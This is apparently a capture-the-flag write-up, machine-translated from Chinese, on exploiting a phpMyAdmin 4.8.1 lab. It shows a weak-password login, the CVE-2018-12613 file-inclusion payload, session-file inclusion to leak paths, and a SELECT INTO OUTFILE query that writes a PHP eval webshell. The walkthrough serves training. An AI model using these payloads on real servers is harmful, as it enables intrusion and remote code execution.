当前位置:网站首页>Moher college phpMyAdmin background file contains analysis traceability
Moher college phpMyAdmin background file contains analysis traceability
2022-07-04 07:44:00 【Lyswbb】
First, get the title and click to visit

Log in with a weak password after access , If login fails, open the privacy mode or change the browser
Account password :root root

Click on sql modular Yes sql Statement to make a query

First query sql Permission to write a sentence
We can see that its value is empty
secure-file-priv Parameters are used to limit LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE() To which specified directory .
show global VARIABLES like '%secure%' 
Keep looking at mysql The absolute path of the installation , It can be found that it is installed in /var/lib/mysql/
show VARIABLES like 'datadir' 
Next, make sure mysql jurisdiction , You can see that here is the highest authority root
SELECT USER();
After you have the permission and absolute path, you can write a sentence directly , Try it first phpinfo
select '<?php phpinfo(); ?>' into outfile '/var/lib/mysql/test.php';When it is written in, the access fails , After thinking for a long time, I found that this is mysql The path of , Not the absolute path of the website

Continue to find ways to get the absolute path of the website According to the title, we can write a phpinfo, Through the absolute path of leakage shell, Ideas have , Direct drying
First, determine the database version , The version is 4.8.1. The number contained in the file is CVE-2018-12613

Direct use of payload Just include it
http://124.70.71.251:40917/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
First write a phpinfo Enter database
select '<?php phpinfo();?>'; 
Then call through File Inclusion phpinfo
First of all get session Value , In the construction parameters to access phpinfo, Get absolute path

http://124.70.71.251:45548/index.phpindex.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_[value]
With an absolute path, you can write webshell 了 , Access directly after writing 1.php
select "<?php @eval($_POST['cmd']) ?>" into outfile "/var/www/html/1.php";
Use the management tool to log in and go directly to the root key.txt perhaps find / -name key.txt


边栏推荐
- Introduction to neural network (Part 2)
- 2022-021rts: from the second half of the year
- ZABBIX monitoring system custom monitoring content
- Zephyr 學習筆記2,Scheduling
- 时序数据库 InfluxDB 2.2 初探
- NPM run build error
- [C language] open the door of C
- Rhcsa day 3
- How to write a summary of the work to promote the implementation of OKR?
- Life planning (flag)
猜你喜欢

Used on windows Bat file startup project

Thesis learning -- time series similarity query method based on extreme point characteristics

Zephyr 學習筆記2,Scheduling

墨者学院-PHPMailer远程命令执行漏洞溯源

BUUCTF(4)

BUUCTF(3)

墨者学院-phpMyAdmin后台文件包含分析溯源

Book list | as the technical support Party of the Winter Olympics, Alibaba cloud's technology is written in these books!

线性代数1.1

Linear algebra 1.1
随机推荐
OKR vs. KPI 一次搞清楚这两大概念!
Div hidden in IE 67 shows blank problem IE 8 is normal
Rhcsa day 3
L2-013 red alarm (C language) and relevant knowledge of parallel search
NPM run build error
Introduction to sap commerce cloud B2B organization function
MySQL中的文本處理函數整理,收藏速查
JVM -- class loading process and runtime data area
Linear algebra 1.1
PCIE知识点-010:PCIE 热插拔资料从哪获取
I was pressed for the draft, so let's talk about how long links can be as efficient as short links in the development of mobile terminals
如何用MOS管来实现电源防反接电路
The frost peel off the purple dragon scale, and the xiariba people will talk about database SQL optimization and the principle of indexing (primary / secondary / clustered / non clustered)
Email alarm configuration of ZABBIX monitoring system
Improve the accuracy of 3D reconstruction of complex scenes | segmentation of UAV Remote Sensing Images Based on paddleseg
Zephyr 學習筆記2,Scheduling
墨者学院-Webmin未经身份验证的远程代码执行
Routing decorator of tornado project
2022-021ARTS:下半年开始
Leetcode (215) -- the kth largest element in the array